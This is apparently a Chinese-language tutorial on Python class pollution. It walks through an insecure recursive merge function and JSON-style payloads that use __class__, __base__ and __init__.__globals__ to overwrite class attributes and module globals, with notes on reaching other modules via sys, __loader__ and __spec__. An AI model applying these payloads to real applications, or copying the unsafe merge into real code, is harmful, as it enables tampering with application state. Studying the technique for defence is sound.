python原型链污染
python原型链污染
原型链污染
- python中,对象的属性和方法可以通过原型链来继承和获取
- 每一个对象都有一个原型,定义了其可以访问的属性和方法,所以可以通过修改原型链中的属性来利用漏洞攻击
- 当对象访问属性或方法时,会先对自身进行查找,找不到就一次往上级查找
- 要求被污染的类能 被查到
- 是对类的属性值的污染,只能污染类的属性,不能污染类的方法
污染条件
merge合并函数,将源参数赋值到目标参数,用merge函数来修改父类函数
原型链污染
def merge(src, dst): #src为原字典,dst为目标字典
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): #键值对字典形式
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k)) #递归到最终的父类
else:
setattr(dst, k, v)
合并过程,对src中的值进行遍历,判断dst目标字典中是都有 __getitem__
属性,以此来判断是否为字典形式
存在 __getitem__
属性
- dst中 k 存在,且值为字典,合并嵌套字典(merge对内部的字典再进行遍历,将对应的每个键值对都取出来)
- dst中 k 不存在,或值不是字典,将键值对
(k, v)
添加到dst
中
如果dst不含 __getitem__
,直接检测dst中是否存在 k 值,值是否为字典
- 是,merge函数进行遍历,k作为dst,v作为src 继续遍历
__getitem__
当访问一个对象的某个键时,会调用该方法
示例分析
污染类对象属性son.b()
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__": {
"__base__": {
"secret": "world"
}
}
}
print(son_a.secret) #继承父类的hello
print(instance.secret)
merge(payload, instance)
print(son_a.secret)
print(instance.secret)
merge(payload, instance)
payload为原字典,instance为目标字典
__class__
作为k值, {"__base__": {"secret": "world"}}
作为v值
v中不存在__getitem__
,此时 v 被当作键值对,递归下去,v 将作为src再走一遍merge
__base__
作为 k,{"secret": "world"}
作为v (污染到父类中的secret参数)
接下来就是遍历到secret:world
,进入setattr
函数
k 为secret
,v 为 world
至此 将instance.secret=world
污染成功
instance是对象类型,则判断语句为
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
- 第一次递归:执行语句
merge(v, getattr(dst, k))
因为instance=son_b,所以当instance与__class__合并时,其属性就变成了instance对象所属的类son_b
- 第二次递归:执行语句
merge(v, getattr(dst, k))
接着与 __base__
合并,属性就变成了son_b所属类的父类father
- 第三次递归:执行语句为
type(v) == dict
结果为FALSE,因为v=world
不是字典型,递归结束,执行语句setattr(dst, k, v)
。此时father的属性被重置为world
__base__
继承关系获取目标类
如果我们想要污染的目标类 和 作为切入点的类,两者没有父子继承关系,就无法使用 __base__
获取全局变量
__init__
,__globals__
__init__
:初始化方法;类的内置方法
__globals__
属性返回字典,包含该函数所在模块的全局变量
返回True,代表demo.__globals__
、globals()
以及 A.__init__.__globals__
三者相等
demo.__globals__
demo函数的全局命名空间,因为德莫实在全局命名空间时定义的,所以demo.__globals__
等于 全局命名空间globals()
A.__init__.__globals__
是类A.__init__
的全局命名空间 =globals()
示例
#demo.py
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass
class A:
def __init__(self):
pass
class B:
classa = 2
instance = A()
payload = {
"__init__": {
"__globals__": {
"a": 4,
"B": {
"classa": 5
}
}
}
}
print(B.classa)
print(a)
merge(payload, instance)
print(B.classa)
print(a)
获取其他模块
以上实例是基于,操作对象或者类是在入口文件当中,如果目标对象不在入口文件中,需对其他啊记载过的模块进行获取
import模块加载获取
通过payload模块重新定位加载
sys模块加载获取
引用sys模块下的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块
同样用其加载demo.py
注:在使用payload传参时,需要在有源码的基础上传参
加载器loader获取
通过 loader.__init__.__globals__['sys']
来获取sys模块
(loader加载器的作用是实现模块加载,在内置模块importlib中具体实现,而importlib
模块下所有的py
文件中均引入了sys
模块)
math模块的__loader__
属性包含了一个loader对象,负责加载math模块
- 在python中还存在一个
__spec__
,包含了关于类加载时候的信息,他定义在Lib/importlib/_bootstrap.py
的类ModuleSpec
,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']
获取到sys
模块
函数形参默认值替换
__defaults__
元组,储存函数或方法的默认参数值,定义函数时,可为其参数指定默认值